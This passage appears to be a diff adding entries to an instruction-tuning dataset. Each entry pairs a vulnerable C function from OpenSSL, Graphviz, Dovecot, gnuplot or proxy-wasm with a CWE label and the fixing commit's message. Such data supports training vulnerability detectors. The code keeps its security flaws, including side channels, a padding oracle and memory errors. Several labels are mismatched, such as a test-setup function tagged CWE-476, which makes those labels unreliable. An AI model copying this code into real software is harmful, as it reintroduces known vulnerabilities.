ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, ERR_R_MALLOC_FAILURE);\n                goto err;\n            }\n        }\n\n        if (!BN_mod_mul(tmp, priv_key, ret->r, order, ctx)) {\n            ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, ERR_R_BN_LIB);\n            goto err;\n        }\n        if (!BN_mod_add_quick(s, tmp, m, order)) {\n            ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, ERR_R_BN_LIB);\n            goto err;\n        }\n        if (!BN_mod_mul(s, s, ckinv, order, ctx)) {\n            ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, ERR_R_BN_LIB);\n            goto err;\n        }\n        if (BN_is_zero(s)) {\n            /*\n             * if kinv and r have been supplied by the caller don't to\n             * generate new kinv and r values\n             */\n            if (in_kinv != NULL && in_r != NULL) {\n                ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, EC_R_NEED_NEW_SETUP_VALUES);\n                goto err;\n            }\n        } else\n            /* s != 0 => we have a valid signature */\n            break;\n    }\n    while (1);\n\n    ok = 1;\n err:\n    if (!ok) {\n        ECDSA_SIG_free(ret);\n        ret = NULL;\n    }\n    BN_CTX_free(ctx);\n    BN_clear_free(m);\n    BN_clear_free(tmp);\n    BN_clear_free(kinv);\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-203'], 'message': 'Add blinding to an ECDSA signature\n\nKeegan Ryan (NCC Group) has demonstrated a side channel attack on an\nECDSA signature operation. During signing the signer calculates:\n\ns:= k^-1 * (m + r * priv_key) mod order\n\nThe addition operation above provides a sufficient signal for a\nflush+reload attack to derive the private key given sufficient signature\noperations.\n\nAs a mitigation (based on a suggestion from Keegan) we add blinding to\nthe operation so that:\n\ns := k^-1 * blind^-1 (blind * m + blind * r * priv_key) mod order\n\nSince this attack is a localhost side channel only no CVE is assigned.\n\nReviewed-by: Rich Salz '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int dsa_sign_setup(DSA *dsa, BN_CTX *ctx_in, BIGNUM **kinvp,\n                          BIGNUM **rp)\n{\n    BN_CTX *ctx;\n    BIGNUM k, kq, *K, *kinv = NULL, *r = NULL;\n    int ret = 0;\n\n    if (!dsa->p || !dsa->q || !dsa->g) {\n        DSAerr(DSA_F_DSA_SIGN_SETUP, DSA_R_MISSING_PARAMETERS);\n        return 0;\n    }\n\n    BN_init(&k);\n    BN_init(&kq);\n\n    if (ctx_in == NULL) {\n        if ((ctx = BN_CTX_new()) == NULL)\n            goto err;\n    } else\n        ctx = ctx_in;\n\n    if ((r = BN_new()) == NULL)\n        goto err;\n\n    /* Get random k */\n    do\n        if (!BN_rand_range(&k, dsa->q))\n            goto err;\n    while (BN_is_zero(&k));\n\n    if ((dsa->flags & DSA_FLAG_NO_EXP_CONSTTIME) == 0) {\n        BN_set_flags(&k, BN_FLG_CONSTTIME);\n    }\n\n\n    if (dsa->flags & DSA_FLAG_CACHE_MONT_P) {\n        if (!BN_MONT_CTX_set_locked(&dsa->method_mont_p,\n                                    CRYPTO_LOCK_DSA, dsa->p, ctx))\n            goto err;\n    }\n\n    /* Compute r = (g^k mod p) mod q */\n\n    if ((dsa->flags & DSA_FLAG_NO_EXP_CONSTTIME) == 0) {\n        if (!BN_copy(&kq, &k))\n            goto err;\n\n        BN_set_flags(&kq, BN_FLG_CONSTTIME);\n\n        /*\n         * We do not want timing information to leak the length of k, so we\n         * compute g^k using an equivalent exponent of fixed length. (This\n         * is a kludge that we need because the BN_mod_exp_mont() does not\n         * let us specify the desired timing behaviour.)\n         */\n\n        if (!BN_add(&kq, &kq, dsa->q))\n            goto err;\n        if (BN_num_bits(&kq) <= BN_num_bits(dsa->q)) {\n            if (!BN_add(&kq, &kq, dsa->q))\n                goto err;\n        }\n\n        K = &kq;\n    } else {\n        K = &k;\n    }\n\n    DSA_BN_MOD_EXP(goto err, dsa, r, dsa->g, K, dsa->p, ctx,\n                   dsa->method_mont_p);\n    if (!BN_mod(r, r, dsa->q, ctx))\n        goto err;\n\n    /* Compute  part of 's = inv(k) (m + xr) mod q' */\n    if ((kinv = BN_mod_inverse(NULL, &k, dsa->q, ctx)) == NULL)\n        goto err;\n\n    if (*kinvp != NULL)\n        BN_clear_free(*kinvp);\n    *kinvp = kinv;\n    kinv = NULL;\n    if (*rp != NULL)\n        BN_clear_free(*rp);\n    *rp = r;\n    ret = 1;\n err:\n    if (!ret) {\n        DSAerr(DSA_F_DSA_SIGN_SETUP, ERR_R_BN_LIB);\n        if (r != NULL)\n            BN_clear_free(r);\n    }\n    if (ctx_in == NULL)\n        BN_CTX_free(ctx);\n    BN_clear_free(&k);\n    BN_clear_free(&kq);\n    return (ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-327'], 'message': 'Address a timing side channel whereby it is possible to determine some\n\ninformation about the length of a value used in DSA operations from\na large number of signatures.\n\nThis doesn't rate as a CVE because:\n\n* For the non-constant time code, there are easier ways to extract\n  more information.\n\n* For the constant time code, it requires a significant number of signatures\n  to leak a small amount of information.\n\nThanks to Neals Fournaise, Eliane Jaulmes and Jean-Rene Reinhard for\nreporting this issue.\n\nOriginal commit by Paul Dale. Backported to 1.0.2 by Matt Caswell\n\nReviewed-by: Andy Polyakov \nReviewed-by: Matt Caswell \n(Merged from https://github.com/openssl/openssl/pull/4642)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void endElementHandler(void *userData, const char *name)\n{\n    userdata_t *ud = (userdata_t *) userData;\n\n    if (strcmp(name, \"graph\") == 0) {\n\tpop_subg();\n\tpopString(&ud->elements);\n\tud->closedElementType = TAG_GRAPH;\n    } else if (strcmp(name, \"node\") == 0) {\n\tchar *ele_name = topString(ud->elements);\n\tif (ud->closedElementType == TAG_GRAPH) {\n\t    Agnode_t *node = agnode(root, ele_name, 0);\n\t    agdelete(root, node);\n\t}\n\tpopString(&ud->elements);\n\tCurrent_class = TAG_GRAPH;\n\tN = 0;\n\tud->closedElementType = TAG_NODE;\n    } else if (strcmp(name, \"edge\") == 0) {\n\tCurrent_class = TAG_GRAPH;\n\tE = 0;\n\tud->closedElementType = TAG_EDGE;\n\tud->edgeinverted = FALSE;\n    } else if (strcmp(name, \"attr\") == 0) {\n\tchar *name;\n\tchar *value;\n\tchar buf[SMALLBUF] = GRAPHML_COMP;\n\tchar *dynbuf = 0;\n\n\tud->closedElementType = TAG_NONE;\n\tif (ud->compositeReadState) {\n\t    int len = sizeof(GRAPHML_COMP) + agxblen(&ud->xml_attr_name);\n\t    if (len <= SMALLBUF) {\n\t\tname = buf;\n\t    } else {\n\t\tname = dynbuf = N_NEW(len, char);\n\t\tstrcpy(name, GRAPHML_COMP);\n\t    }\n\t    strcpy(name + sizeof(GRAPHML_COMP) - 1,\n\t\t   agxbuse(&ud->xml_attr_name));\n\t    value = agxbuse(&ud->composite_buffer);\n\t    agxbclear(&ud->xml_attr_value);\n\t    ud->compositeReadState = FALSE;\n\t} else {\n\t    name = agxbuse(&ud->xml_attr_name);\n\t    value = agxbuse(&ud->xml_attr_value);\n\t}\n\n\tswitch (ud->globalAttrType) {\n\tcase TAG_NONE:\n\t    setAttr(name, value, ud);\n\t    break;\n\tcase TAG_NODE:\n\t    setGlobalNodeAttr(G, name, value, ud);\n\t    break;\n\tcase TAG_EDGE:\n\t    setGlobalEdgeAttr(G, name, value, ud);\n\t    break;\n\tcase TAG_GRAPH:\n\t    setGraphAttr(G, name, value, ud);\n\t    break;\n\t}\n\tif (dynbuf)\n\t    free(dynbuf);\n\tud->globalAttrType = TAG_NONE;\n    } \n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'attempted fix for null pointer deference on malformed input'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int cms_RecipientInfo_ktri_decrypt(CMS_ContentInfo *cms,\n                                          CMS_RecipientInfo *ri)\n{\n    CMS_KeyTransRecipientInfo *ktri = ri->d.ktri;\n    EVP_PKEY *pkey = ktri->pkey;\n    unsigned char *ek = NULL;\n    size_t eklen;\n    int ret = 0;\n    CMS_EncryptedContentInfo *ec;\n    ec = cms->d.envelopedData->encryptedContentInfo;\n\n    if (ktri->pkey == NULL) {\n        CMSerr(CMS_F_CMS_RECIPIENTINFO_KTRI_DECRYPT, CMS_R_NO_PRIVATE_KEY);\n        return 0;\n    }\n\n    ktri->pctx = EVP_PKEY_CTX_new(pkey, NULL);\n    if (!ktri->pctx)\n        return 0;\n\n    if (EVP_PKEY_decrypt_init(ktri->pctx) <= 0)\n        goto err;\n\n    if (!cms_env_asn1_ctrl(ri, 1))\n        goto err;\n\n    if (EVP_PKEY_CTX_ctrl(ktri->pctx, -1, EVP_PKEY_OP_DECRYPT,\n                          EVP_PKEY_CTRL_CMS_DECRYPT, 0, ri) <= 0) {\n        CMSerr(CMS_F_CMS_RECIPIENTINFO_KTRI_DECRYPT, CMS_R_CTRL_ERROR);\n        goto err;\n    }\n\n    if (EVP_PKEY_decrypt(ktri->pctx, NULL, &eklen,\n                         ktri->encryptedKey->data,\n                         ktri->encryptedKey->length) <= 0)\n        goto err;\n\n    ek = OPENSSL_malloc(eklen);\n\n    if (ek == NULL) {\n        CMSerr(CMS_F_CMS_RECIPIENTINFO_KTRI_DECRYPT, ERR_R_MALLOC_FAILURE);\n        goto err;\n    }\n\n    if (EVP_PKEY_decrypt(ktri->pctx, ek, &eklen,\n                         ktri->encryptedKey->data,\n                         ktri->encryptedKey->length) <= 0) {\n        CMSerr(CMS_F_CMS_RECIPIENTINFO_KTRI_DECRYPT, CMS_R_CMS_LIB);\n        goto err;\n    }\n\n    ret = 1;\n\n    if (ec->key) {\n        OPENSSL_cleanse(ec->key, ec->keylen);\n        OPENSSL_free(ec->key);\n    }\n\n    ec->key = ek;\n    ec->keylen = eklen;\n\n err:\n    if (ktri->pctx) {\n        EVP_PKEY_CTX_free(ktri->pctx);\n        ktri->pctx = NULL;\n    }\n    if (!ret && ek)\n        OPENSSL_free(ek);\n\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-327'], 'message': 'Fix a padding oracle in PKCS7_dataDecode and CMS_decrypt_set1_pkey\n\nAn attack is simple, if the first CMS_recipientInfo is valid but the\nsecond CMS_recipientInfo is chosen ciphertext. If the second\nrecipientInfo decodes to PKCS #1 v1.5 form plaintext, the correct\nencryption key will be replaced by garbage, and the message cannot be\ndecoded, but if the RSA decryption fails, the correct encryption key is\nused and the recipient will not notice the attack.\n\nAs a work around for this potential attack the length of the decrypted\nkey must be equal to the cipher default key length, in case the\ncertifiate is not given and all recipientInfo are tried out.\n\nThe old behaviour can be re-enabled in the CMS code by setting the\nCMS_DEBUG_DECRYPT flag.\n\nReviewed-by: Matt Caswell \n(Merged from https://github.com/openssl/openssl/pull/9777)\n\n(cherry picked from commit 5840ed0cd1e6487d247efbc1a04136a41d7b3a37)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void Context::onDone() {\n  if (wasm_->onDone_) {\n    wasm_->onDone_(this, id_);\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': '1.4 - Do not call into the VM unless the VM Context has been created. (#24)\n\n* Ensure that the in VM Context is created before onDone is called.\n\nSigned-off-by: John Plevyak \n\n* Update as per offline discussion.\n\nSigned-off-by: John Plevyak \n\n* Set in_vm_context_created_ in onNetworkNewConnection.\n\nSigned-off-by: John Plevyak \n\n* Add guards to other network calls.\n\nSigned-off-by: John Plevyak \n\n* Fix common/wasm tests.\n\nSigned-off-by: John Plevyak \n\n* Patch tests.\n\nSigned-off-by: John Plevyak \n\n* Remove unecessary file from cherry-pick.\n\nSigned-off-by: John Plevyak '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void Context::onLog() {\n  if (wasm_->onLog_) {\n    wasm_->onLog_(this, id_);\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': '1.4 - Do not call into the VM unless the VM Context has been created. (#24)\n\n* Ensure that the in VM Context is created before onDone is called.\n\nSigned-off-by: John Plevyak \n\n* Update as per offline discussion.\n\nSigned-off-by: John Plevyak \n\n* Set in_vm_context_created_ in onNetworkNewConnection.\n\nSigned-off-by: John Plevyak \n\n* Add guards to other network calls.\n\nSigned-off-by: John Plevyak \n\n* Fix common/wasm tests.\n\nSigned-off-by: John Plevyak \n\n* Patch tests.\n\nSigned-off-by: John Plevyak \n\n* Remove unecessary file from cherry-pick.\n\nSigned-off-by: John Plevyak '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: rpa_read_buffer(pool_t pool, const unsigned char **data,\n\t\tconst unsigned char *end, unsigned char **buffer)\n{\n\tconst unsigned char *p = *data;\n\tunsigned int len;\n\n\tif (p > end)\n\t\treturn 0;\n\n\tlen = *p++;\n\tif (p + len > end)\n\t\treturn 0;\n\n\t*buffer = p_malloc(pool, len);\n\tmemcpy(*buffer, p, len);\n\n\t*data += 1 + len;\n\n\treturn len;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'auth: mech-rpa - Fail on zero len buffer'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: enhanced_recursion(\n    const char *p,\n    TBOOLEAN brace,\n    char *fontname,\n    double fontsize,\n    double base,\n    TBOOLEAN widthflag,\n    TBOOLEAN showflag,\n    int overprint)\n{\n    TBOOLEAN wasitalic, wasbold;\n\n    /* Keep track of the style of the font passed in at this recursion level */\n    wasitalic = (strstr(fontname, \":Italic\") != NULL);\n    wasbold = (strstr(fontname, \":Bold\") != NULL);\n\n    FPRINTF((stderr, \"RECURSE WITH \\\"%s\\\", %d %s %.1f %.1f %d %d %d\",\n\t\tp, brace, fontname, fontsize, base, widthflag, showflag, overprint));\n\n    /* Start each recursion with a clean string */\n    (term->enhanced_flush)();\n\n    if (base + fontsize > enhanced_max_height) {\n\tenhanced_max_height = base + fontsize;\n\tENH_DEBUG((\"Setting max height to %.1f\\n\", enhanced_max_height));\n    }\n\n    if (base < enhanced_min_height) {\n\tenhanced_min_height = base;\n\tENH_DEBUG((\"Setting min height to %.1f\\n\", enhanced_min_height));\n    }\n\n    while (*p) {\n\tdouble shift;\n\n\t/*\n\t * EAM Jun 2009 - treating bytes one at a time does not work for multibyte\n\t * encodings, including utf-8. If we hit a byte with the high bit set, test\n\t * whether it starts a legal UTF-8 sequence and if so copy the whole thing.\n\t * Other multibyte encodings are still a problem.\n\t * Gnuplot's other defined encodings are all single-byte; for those we\n\t * really do want to treat one byte at a time.\n\t */\n\tif ((*p & 0x80) && (encoding == S_ENC_DEFAULT || encoding == S_ENC_UTF8)) {\n\t    unsigned long utf8char;\n\t    const char *nextchar = p;\n\n\t    (term->enhanced_open)(fontname, fontsize, base, widthflag, showflag, overprint);\n\t    if (utf8toulong(&utf8char, &nextchar)) {\t/* Legal UTF8 sequence */\n\t\twhile (p < nextchar)\n\t\t    (term->enhanced_writec)(*p++);\n\t\tp--;\n\t    } else {\t\t\t\t\t/* Some other multibyte encoding? */\n\t\t(term->enhanced_writec)(*p);\n\t    }\n/* shige : for Shift_JIS */\n\t} else if ((*p & 0x80) && (encoding == S_ENC_SJIS)) {\n\t    (term->enhanced_open)(fontname, fontsize, base, widthflag, showflag, overprint);\n\t    (term->enhanced_writec)(*(p++));\n\t    (term->enhanced_writec)(*p);\n\t} else\n\n\tswitch (*p) {\n\tcase '}'  :\n\t    /*{{{  deal with it*/\n\t    if (brace)\n\t\treturn (p);\n\n\t    int_warn(NO_CARET, \"enhanced text parser - spurious }\");\n\t    break;\n\t    /*}}}*/\n\n\tcase '_'  :\n\tcase '^'  :\n\t    /*{{{  deal with super/sub script*/\n\t    shift = (*p == '^') ? 0.5 : -0.3;\n\t    (term->enhanced_flush)();\n\t    p = enhanced_recursion(p + 1, FALSE, fontname, fontsize * 0.8,\n\t\t\t      base + shift * fontsize, widthflag,\n\t\t\t      showflag, overprint);\n\t    break;\n\t    /*}}}*/\n\tcase '{'  :\n\t    {\n\t\tTBOOLEAN isitalic = FALSE, isbold = FALSE, isnormal = FALSE;\n\t\tconst char *start_of_fontname = NULL;\n\t\tconst char *end_of_fontname = NULL;\n\t\tchar *localfontname = NULL;\n\t\tchar ch;\n\t\tdouble f = fontsize, ovp;\n\n\t\t/* Mar 2014 - this will hold \"fontfamily{:Italic}{:Bold}\" */\n\t\tchar *styledfontname = NULL;\n\n\t\t/*{{{  recurse (possibly with a new font) */\n\n\t\tENH_DEBUG((\"Dealing with {\\n\"));\n\n\t\t/* 30 Sep 2016:  Remove incorrect whitespace-eating loop going */\n\t\t/* waaay back to 31-May-2000 */        /* while (*++p == ' '); */\n\t\t++p;\n\t\t/* get vertical offset (if present) for overprinted text */\n\t\tif (overprint == 2) {\n\t\t    char *end;\n\t\t    ovp = strtod(p,&end);\n\t\t    p = end;\n\t\t    if (term->flags & TERM_IS_POSTSCRIPT)\n\t\t\tbase = ovp*f;\n\t\t    else\n\t\t\tbase += ovp*f;\n\t\t}\n\t\t--p;\n\n\t\tif (*++p == '/') {\n\t\t    /* then parse a fontname, optional fontsize */\n\t\t    while (*++p == ' ')\n\t\t\t;       /* do nothing */\n\t\t    if (*p=='-') {\n\t\t\twhile (*++p == ' ')\n\t\t\t    ;   /* do nothing */\n\t\t    }\n\t\t    start_of_fontname = p;\n\n\t\t    /* Allow font name to be in quotes.\n\t\t     * This makes it possible to handle font names containing spaces.\n\t\t     */\n\t\t    if (*p == '\\'' || *p == '\"') {\n\t\t\t++p;\n\t\t\twhile (*p != '\\0' && *p != '}' && *p != *start_of_fontname)\n\t\t\t    ++p;\n\t\t\tif (*p != *start_of_fontname) {\n\t\t\t    int_warn(NO_CARET, \"cannot interpret font name %s\", start_of_fontname);\n\t\t\t    p = start_of_fontname;\n\t\t\t}\n\t\t\tstart_of_fontname++;\n\t\t\tend_of_fontname = p++;\n\t\t\tch = *p;\n\t\t    } else {\n\n\t\t    /* Normal unquoted font name */\n\t\t\twhile ((ch = *p) > ' ' && ch != '=' && ch != '*' && ch != '}' && ch != ':')\n\t\t\t    ++p;\n\t\t\tend_of_fontname = p;\n\t\t    }\n\n\t\t    do {\n\t\t\tif (ch == '=') {\n\t\t\t    /* get optional font size */\n\t\t\t    char *end;\n\t\t\t    p++;\n\t\t\t    ENH_DEBUG((\"Calling strtod(\\\"%s\\\") ...\", p));\n\t\t\t    f = strtod(p, &end);\n\t\t\t    p = end;\n\t\t\t    ENH_DEBUG((\"Returned %.1f and \\\"%s\\\"\\n\", f, p));\n\n\t\t\t    if (f == 0)\n\t\t\t\tf = fontsize;\n\t\t\t    else\n\t\t\t\tf *= enhanced_fontscale;  /* remember the scaling */\n\n\t\t\t    ENH_DEBUG((\"Font size %.1f\\n\", f));\n\t\t\t} else if (ch == '*') {\n\t\t\t    /* get optional font size scale factor */\n\t\t\t    char *end;\n\t\t\t    p++;\n\t\t\t    ENH_DEBUG((\"Calling strtod(\\\"%s\\\") ...\", p));\n\t\t\t    f = strtod(p, &end);\n\t\t\t    p = end;\n\t\t\t    ENH_DEBUG((\"Returned %.1f and \\\"%s\\\"\\n\", f, p));\n\n\t\t\t    if (f)\n\t\t\t\tf *= fontsize;  /* apply the scale factor */\n\t\t\t    else\n\t\t\t\tf = fontsize;\n\n\t\t\t    ENH_DEBUG((\"Font size %.1f\\n\", f));\n\t\t\t} else if (ch == ':') {\n\t\t\t    /* get optional style markup attributes */\n\t\t\t    p++;\n\t\t\t    if (!strncmp(p,\"Bold\",4))\n\t\t\t\tisbold = TRUE;\n\t\t\t    if (!strncmp(p,\"Italic\",6))\n\t\t\t\tisitalic = TRUE;\n\t\t\t    if (!strncmp(p,\"Normal\",6))\n\t\t\t\tisnormal = TRUE;\n\t\t\t    while (isalpha((unsigned char)*p)) {p++;}\n\t\t\t}\n\t\t    } while (((ch = *p) == '=') || (ch == ':') || (ch == '*'));\n\n\t\t    if (ch == '}')\n\t\t\tint_warn(NO_CARET,\"bad syntax in enhanced text string\");\n\n\t\t    if (*p == ' ')\t/* Eat up a single space following a font spec */\n\t\t\t++p;\n\t\t    if (!start_of_fontname || (start_of_fontname == end_of_fontname)) {\n\t\t\t/* Use the font name passed in to us */\n\t\t\tlocalfontname = gp_strdup(fontname);\n\t\t    } else {\n\t\t\t/* We found a new font name {/Font ...} */\n\t\t\tint len = end_of_fontname - start_of_fontname;\n\t\t\tlocalfontname = gp_alloc(len+1,\"localfontname\");\n\t\t\tstrncpy(localfontname, start_of_fontname, len);\n\t\t\tlocalfontname[len] = '\\0';\n\t\t    }\n\t\t}\n\t\t/*}}}*/\n\n\t\t/* Collect cumulative style markup before passing it in the font name */\n\t\tisitalic = (wasitalic || isitalic) && !isnormal;\n\t\tisbold = (wasbold || isbold) && !isnormal;\n\n\t\tstyledfontname = stylefont(localfontname ? localfontname : fontname,\n\t\t\t\t\t    isbold, isitalic);\n\n\t\tp = enhanced_recursion(p, TRUE, styledfontname, f, base,\n\t\t\t\t  widthflag, showflag, overprint);\n\n\t\t(term->enhanced_flush)();\n\n\t\tfree(styledfontname);\n\t\tfree(localfontname);\n\n\t\tbreak;\n\t    } /* case '{' */\n\tcase '@' :\n\t    /*{{{  phantom box - prints next 'char', then restores currentpoint */\n\t    (term->enhanced_flush)();\n\t    (term->enhanced_open)(fontname, fontsize, base, widthflag, showflag, 3);\n\t    p = enhanced_recursion(++p, FALSE, fontname, fontsize, base,\n\t\t\t      widthflag, showflag, overprint);\n\t    (term->enhanced_open)(fontname, fontsize, base, widthflag, showflag, 4);\n\t    break;\n\t    /*}}}*/\n\n\tcase '&' :\n\t    /*{{{  character skip - skips space equal to length of character(s) */\n\t    (term->enhanced_flush)();\n\n\t    p = enhanced_recursion(++p, FALSE, fontname, fontsize, base,\n\t\t\t      widthflag, FALSE, overprint);\n\t    break;\n\t    /*}}}*/\n\n\tcase '~' :\n\t    /*{{{ overprinted text */\n\t    /* the second string is overwritten on the first, centered\n\t     * horizontally on the first and (optionally) vertically\n\t     * shifted by an amount specified (as a fraction of the\n\t     * current fontsize) at the beginning of the second string\n\n\t     * Note that in this implementation neither the under- nor\n\t     * overprinted string can contain syntax that would result\n\t     * in additional recursions -- no subscripts,\n\t     * superscripts, or anything else, with the exception of a\n\t     * font definition at the beginning of the text */\n\n\t    (term->enhanced_flush)();\n\t    p = enhanced_recursion(++p, FALSE, fontname, fontsize, base,\n\t\t\t      widthflag, showflag, 1);\n\t    (term->enhanced_flush)();\n\t    if (!*p)\n\t        break;\n\t    p = enhanced_recursion(++p, FALSE, fontname, fontsize, base,\n\t\t\t      FALSE, showflag, 2);\n\n\t    overprint = 0;   /* may not be necessary, but just in case . . . */\n\t    break;\n\t    /*}}}*/\n\n\tcase '('  :\n\tcase ')'  :\n\t    /*{{{  an escape and print it */\n\t    /* special cases */\n\t    (term->enhanced_open)(fontname, fontsize, base, widthflag, showflag, overprint);\n\t    if (term->flags & TERM_IS_POSTSCRIPT)\n\t\t(term->enhanced_writec)('\\\\');\n\t    (term->enhanced_writec)(*p);\n\t    break;\n\t    /*}}}*/\n\n\tcase '\\\\'  :\n\t    /*{{{  various types of escape sequences, some context-dependent */\n\t    (term->enhanced_open)(fontname, fontsize, base, widthflag, showflag, overprint);\n\n\t    /*     Unicode represented as \\U+hhhhh where hhhhh is hexadecimal code point.\n\t     *     For UTF-8 encoding we translate hhhhh to a UTF-8 byte sequence and\n\t     *     output the bytes one by one.\n\t     */\n\t    if (p[1] == 'U' && p[2] == '+') {\n\t\tif (encoding == S_ENC_UTF8) {\n\t\t    uint32_t codepoint;\n\t\t    unsigned char utf8char[8];\n\t\t    int i, length;\n\n\t\t    sscanf(&(p[3]), \"%5x\", &codepoint);\n\t\t    length = ucs4toutf8(codepoint, utf8char);\n\t\t    p += (codepoint > 0xFFFF) ? 7 : 6;\n\t\t    for (i=0; ienhanced_writec)(utf8char[i]);\n\t\t    break;\n\t\t}\n\n\t    /*     FIXME: non-utf8 environments not yet supported.\n\t     *     Note that some terminals may have an alternative way to handle unicode\n\t     *     escape sequences that is not dependent on encoding.\n\t     *     E.g. svg and html output could convert to xml sequences &#xhhhh;\n\t     *     For these cases we must retain the leading backslash so that the\n\t     *     unicode escape sequence can be recognized by the terminal driver.\n\t     */\n\t\t(term->enhanced_writec)(p[0]);\n\t\tbreak;\n\t    }\n\n\t    /* Enhanced mode always uses \\xyz as an octal character representation\n\t     * but each terminal type must give us the actual output format wanted.\n\t     * pdf.trm wants the raw character code, which is why we use strtol();\n\t     * most other terminal types want some variant of \"\\\\%o\".\n\t     */\n\t    if (p[1] >= '0' && p[1] <= '7') {\n\t\tchar *e, escape[16], octal[4] = {'\\0','\\0','\\0','\\0'};\n\n\t\toctal[0] = *(++p);\n\t\tif (p[1] >= '0' && p[1] <= '7') {\n\t\t    octal[1] = *(++p);\n\t\t    if (p[1] >= '0' && p[1] <= '7')\n\t\t\toctal[2] = *(++p);\n\t\t}\n\t\tsprintf(escape, enhanced_escape_format, strtol(octal,NULL,8));\n\t\tfor (e=escape; *e; e++) {\n\t\t    (term->enhanced_writec)(*e);\n\t\t}\n\t\tbreak;\n\t    }\n\n\t    /* This was the original (prior to version 4) enhanced text code specific\n\t     * to the reserved characters of PostScript.\n\t     */\n\t    if (term->flags & TERM_IS_POSTSCRIPT) {\n\t\tif (p[1]=='\\\\' || p[1]=='(' || p[1]==')') {\n\t\t    (term->enhanced_writec)('\\\\');\n\t\t} else if (strchr(\"^_@&~{}\",p[1]) == NULL) {\n\t\t    (term->enhanced_writec)('\\\\');\n\t\t    (term->enhanced_writec)('\\\\');\n\t\t    break;\n\t\t}\n\t    }\n\n\t    /* Step past the backslash character in the input stream */\n\t    ++p;\n\n\t    /* HBB: Avoid broken output if there's a \\ exactly at the end of the line */\n\t    if (*p == '\\0') {\n\t\tint_warn(NO_CARET, \"enhanced text parser -- spurious backslash\");\n\t\tbreak;\n\t    }\n\n\t    /* SVG requires an escaped '&' to be passed as something else */\n\t    /* FIXME: terminal-dependent code does not belong here */\n\t    if (*p == '&' && encoding == S_ENC_DEFAULT && !strcmp(term->name, \"svg\")) {\n\t\t(term->enhanced_writec)('\\376');\n\t\tbreak;\n\t    }\n\n\t    /* print the character following the backslash */\n\t    (term->enhanced_writec)(*p);\n\t    break;\n\t    /*}}}*/\n\n\tdefault:\n\t    /*{{{  print it */\n\t    (term->enhanced_open)(fontname, fontsize, base, widthflag, showflag, overprint);\n\t    (term->enhanced_writec)(*p);\n\t    /*}}}*/\n\t} /* switch (*p) */\n\n\t/* like TeX, we only do one character in a recursion, unless it's\n\t * in braces\n\t */\n\n\tif (!brace) {\n\t    (term->enhanced_flush)();\n\t    return(p);  /* the ++p in the outer copy will increment us */\n\t}\n\n\tif (*p) /* only not true if { not terminated, I think */\n\t    ++p;\n    } /* while (*p) */\n\n    (term->enhanced_flush)();\n    return p;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Better error handling for faulty font syntax\n\nA missing close-quote in an enhanced text font specification could\ncause a segfault.\nBug #2303'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int setup_tests(void)\n{\n    ADD_ALL_TESTS(call_run_cert, OSSL_NELEM(name_fns));\n    return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'Add a test for GENERAL_NAME_cmp\n\nBased on a boringssl test contributed by David Benjamin\n\nReviewed-by: Tomas Mraz '"
+  },
+  {
